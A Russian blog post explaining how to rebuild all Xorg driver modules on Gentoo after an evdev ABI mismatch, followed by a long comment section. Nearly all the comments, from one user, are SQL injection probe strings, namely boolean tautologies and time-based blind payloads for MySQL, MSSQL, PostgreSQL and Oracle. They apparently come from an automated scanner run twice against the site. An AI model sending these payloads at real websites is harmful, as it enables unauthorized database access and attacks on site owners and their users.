Пересборка всех модулей Xorg на Gentoo
Вот уже второй раз, после значительных обновлений моей домашней рабочей машины с Calculate, в иксах не работают мышь и клавиатура. В Xorg.log при этом пишется следующее:
- [643641.785] (II) LoadModule: "evdev"
- [643641.785] (II) Loading /usr/lib64/xorg/modules/input/evdev_drv.so
- [643641.785] (II) Module evdev: vendor="X.Org Foundation"
- [643641.785] compiled for 1.13.1, module version = 2.7.3
- [643641.785] Module class: X.Org XInput Driver
- [643641.785] ABI class: X.Org XInput driver, version 18.0
- [643641.785] (EE) module ABI major version (18) doesn't match the server's version (19)
- [643641.785] (II) UnloadModule: "evdev"
- [643641.785] (II) Unloading evdev
- [643641.785] (EE) Failed to load module "evdev" (module requirement mismatch, 0)
- [643641.785] (EE) No input driver matching `evdev'
Причём, не спасает штатная команда
emerge @x11-module-rebuild
На одном из форумов Gentoo, нашёл действенный способ, который получает список Xorg модулей из qlist, таким образом пересобираются ВСЕ модули. Записал, чтобы не искать:
emerge -1 $(qlist -IC x11-drivers)
nEcdyGgx 13 Augustа в 18:26 #
555
nEcdyGgx 13 Augustа в 18:26 #
555
nEcdyGgx 13 Augustа в 18:26 #
555
nEcdyGgx 13 Augustа в 18:26 #
555
nEcdyGgx 13 Augustа в 18:26 #
555
nEcdyGgx 13 Augustа в 18:26 #
-1 OR 2+321-321-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:26 #
-1 OR 3+321-321-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:26 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:26 #
-1 OR 3*2>(0+5+321-321) --
nEcdyGgx 13 Augustа в 18:26 #
-1 OR 2+455-455-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:26 #
-1 OR 3+455-455-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:26 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:26 #
-1 OR 3*2>(0+5+455-455)
nEcdyGgx 13 Augustа в 18:26 #
-1' OR 2+491-491-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:26 #
-1' OR 3+491-491-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:26 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:26 #
-1' OR 3*2>(0+5+491-491) --
nEcdyGgx 13 Augustа в 18:26 #
-1' OR 2+483-483-1=0+0+0+1 or '0cXzfUB3'='
nEcdyGgx 13 Augustа в 18:26 #
-1' OR 3+483-483-1=0+0+0+1 or '0cXzfUB3'='
nEcdyGgx 13 Augustа в 18:26 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:27 #
-1' OR 3*2>(0+5+483-483) or '0cXzfUB3'='
nEcdyGgx 13 Augustа в 18:27 #
-1" OR 2+179-179-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:27 #
-1" OR 3+179-179-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:27 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:27 #
-1" OR 3*2>(0+5+179-179) --
nEcdyGgx 13 Augustа в 18:27 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:27 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:27 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:27 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:27 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:27 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:27 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:27 #
KLnGAHar'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:27 #
-5 OR 712=(SELECT 712 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:27 #
-5) OR 735=(SELECT 735 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:27 #
-1)) OR 134=(SELECT 134 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:27 #
6ve72W2L' OR 742=(SELECT 742 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:27 #
Kv75HQhn') OR 139=(SELECT 139 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:27 #
JLpGXCRq')) OR 137=(SELECT 137 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:27 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:27 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:27 #
1'"
nEcdyGgx 13 Augustа в 18:27 #
@@omQL9
nEcdyGgx 13 Augustа в 18:37 #
555
nEcdyGgx 13 Augustа в 18:43 #
555
nEcdyGgx 13 Augustа в 18:43 #
555
nEcdyGgx 13 Augustа в 18:43 #
555
nEcdyGgx 13 Augustа в 18:43 #
555
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 2+307-307-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3+307-307-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3*2>(0+5+307-307) --
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 2+220-220-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3+220-220-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3*2>(0+5+220-220)
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 2+376-376-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3+376-376-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3*2>(0+5+376-376) --
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 2+196-196-1=0+0+0+1 or 'drjI3jBR'='
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3+196-196-1=0+0+0+1 or 'drjI3jBR'='
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3*2>(0+5+196-196) or 'drjI3jBR'='
nEcdyGgx 13 Augustа в 18:43 #
-1" OR 2+641-641-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1" OR 3+641-641-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1" OR 3*2>(0+5+641-641) --
nEcdyGgx 13 Augustа в 18:43 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:43 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:43 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:43 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:43 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:43 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:43 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:43 #
1riQHHcf'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:43 #
-5 OR 272=(SELECT 272 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
-5) OR 940=(SELECT 940 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
-1)) OR 731=(SELECT 731 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
Uz1gRbE0' OR 663=(SELECT 663 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
9wwKkv3a') OR 861=(SELECT 861 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
xn2vlfTf')) OR 684=(SELECT 684 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:43 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:44 #
1'"
nEcdyGgx 13 Augustа в 18:44 #
@@Dlxus
nEcdyGgx 13 Augustа в 18:54 #
555